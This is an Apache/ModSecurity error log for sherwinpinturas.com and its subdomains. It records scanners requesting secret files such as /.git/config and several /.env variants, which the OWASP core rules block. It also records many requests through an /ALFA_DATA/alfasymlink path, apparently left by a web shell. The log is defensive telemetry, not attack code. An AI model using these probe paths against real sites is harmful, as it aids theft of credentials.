[Sun Oct 25 22:37:49.774045 2026] [security2:error] [pid 2946688:tid 2946688] [client 43.134.56.214:50986] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at68_UUGx1SqgUJwHDVoKwAAAAM"]
[Sun Oct 25 22:37:49.785732 2026] [authz_core:error] [pid 2946688:tid 2946688] [client 43.134.56.214:50986] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 22:37:54.126184 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 184.73.47.24:3453] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:58.181242 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 3.231.193.38:60044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:06.133833 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.208.146.193:51446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:06.783598 2026] [authz_core:error] [pid 2946688:tid 2946688] [client 184.105.247.196:29818] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:38:14.125767 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 44.212.131.50:10606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:18.261256 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 54.83.56.1:7284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:22.285371 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 3.223.181.32:24059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:30.130521 2026] [ssl:error] [pid 2946858:tid 2946858] (5)Input/output error: [client 18.206.47.187:33580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:34.225805 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 44.197.76.210:40400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:46.125148 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 54.210.152.179:41684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:38:54.106677 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 34.226.89.140:6895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:39:02.111333 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 52.70.209.13:19811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:39:14.139994 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 54.225.199.17:59581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:39:18.103576 2026] [core:error] [pid 2946688:tid 2946688] (13)Permission denied: [client 54.87.62.248:58060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/0000:00:04.0/remove
[Sun Oct 25 22:39:22.118920 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 54.84.169.196:6817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:39:22.119125 2026] [security2:error] [pid 2946858:tid 2946858] [client 54.84.169.196:6817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/16/latch"] [unique_id "at69WuZnYqMmoFcEfw_MhwAAAAc"]
[Sun Oct 25 22:39:22.119147 2026] [security2:error] [pid 2946858:tid 2946858] [client 54.84.169.196:6817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/16/latch"] [unique_id "at69WuZnYqMmoFcEfw_MhwAAAAc"]
[Sun Oct 25 22:39:50.248601 2026] [security2:error] [pid 2938926:tid 2938926] [client 18.232.36.1:11715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/node0/memory19/"] [unique_id "at69dmDNiM07rt0CLXuTRAAAACE"]
[Sun Oct 25 22:39:50.248652 2026] [security2:error] [pid 2938926:tid 2938926] [client 18.232.36.1:11715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/node0/memory19/"] [unique_id "at69dmDNiM07rt0CLXuTRAAAACE"]
[Sun Oct 25 22:40:02.124100 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 3.231.193.38:51331] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:10.120705 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 23.21.148.226:7640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/bind
[Sun Oct 25 22:40:12.153296 2026] [core:error] [pid 2943462:tid 2943462] (13)Permission denied: [client 85.208.96.212:59882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/ctor
[Sun Oct 25 22:40:14.127645 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 52.205.113.104:57237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:18.140500 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.200.93.170:22932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:26.117707 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 98.83.178.66:49908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:34.119145 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 52.204.174.139:47296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:42.106784 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 34.239.197.197:49005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:40:50.055129 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69sjrbYhOoSbkbrVN53gAAABs"]
[Sun Oct 25 22:40:50.055418 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69sjrbYhOoSbkbrVN53gAAABs"]
[Sun Oct 25 22:40:50.055771 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69sjrbYhOoSbkbrVN53gAAABs"]
[Sun Oct 25 22:40:50.548645 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69sjrbYhOoSbkbrVN54AAAABs"]
[Sun Oct 25 22:40:50.548865 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69sjrbYhOoSbkbrVN54AAAABs"]
[Sun Oct 25 22:40:50.549167 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69sjrbYhOoSbkbrVN54AAAABs"]
[Sun Oct 25 22:40:50.758747 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69sjrbYhOoSbkbrVN54QAAABs"]
[Sun Oct 25 22:40:50.759009 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69sjrbYhOoSbkbrVN54QAAABs"]
[Sun Oct 25 22:40:50.759367 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69sjrbYhOoSbkbrVN54QAAABs"]
[Sun Oct 25 22:40:50.996414 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69sjrbYhOoSbkbrVN54gAAABs"]
[Sun Oct 25 22:40:50.996690 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69sjrbYhOoSbkbrVN54gAAABs"]
[Sun Oct 25 22:40:50.997000 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69sjrbYhOoSbkbrVN54gAAABs"]
[Sun Oct 25 22:40:51.206993 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69szrbYhOoSbkbrVN54wAAABs"]
[Sun Oct 25 22:40:51.207267 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69szrbYhOoSbkbrVN54wAAABs"]
[Sun Oct 25 22:40:51.207619 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69szrbYhOoSbkbrVN54wAAABs"]
[Sun Oct 25 22:40:51.239209 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69s8PyJ7czCvVZGZzUFAAAAE4"]
[Sun Oct 25 22:40:51.239463 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69s8PyJ7czCvVZGZzUFAAAAE4"]
[Sun Oct 25 22:40:51.239776 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at69s8PyJ7czCvVZGZzUFAAAAE4"]
[Sun Oct 25 22:40:51.416546 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69szrbYhOoSbkbrVN55AAAABs"]
[Sun Oct 25 22:40:51.416802 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69szrbYhOoSbkbrVN55AAAABs"]
[Sun Oct 25 22:40:51.417128 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69szrbYhOoSbkbrVN55AAAABs"]
[Sun Oct 25 22:40:51.633273 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69szrbYhOoSbkbrVN55QAAABs"]
[Sun Oct 25 22:40:51.633557 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69szrbYhOoSbkbrVN55QAAABs"]
[Sun Oct 25 22:40:51.633858 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69szrbYhOoSbkbrVN55QAAABs"]
[Sun Oct 25 22:40:51.657786 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69s8PyJ7czCvVZGZzUFgAAAE4"]
[Sun Oct 25 22:40:51.658004 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69s8PyJ7czCvVZGZzUFgAAAE4"]
[Sun Oct 25 22:40:51.658253 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at69s8PyJ7czCvVZGZzUFgAAAE4"]
[Sun Oct 25 22:40:51.848911 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69szrbYhOoSbkbrVN55gAAABs"]
[Sun Oct 25 22:40:51.849170 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69szrbYhOoSbkbrVN55gAAABs"]
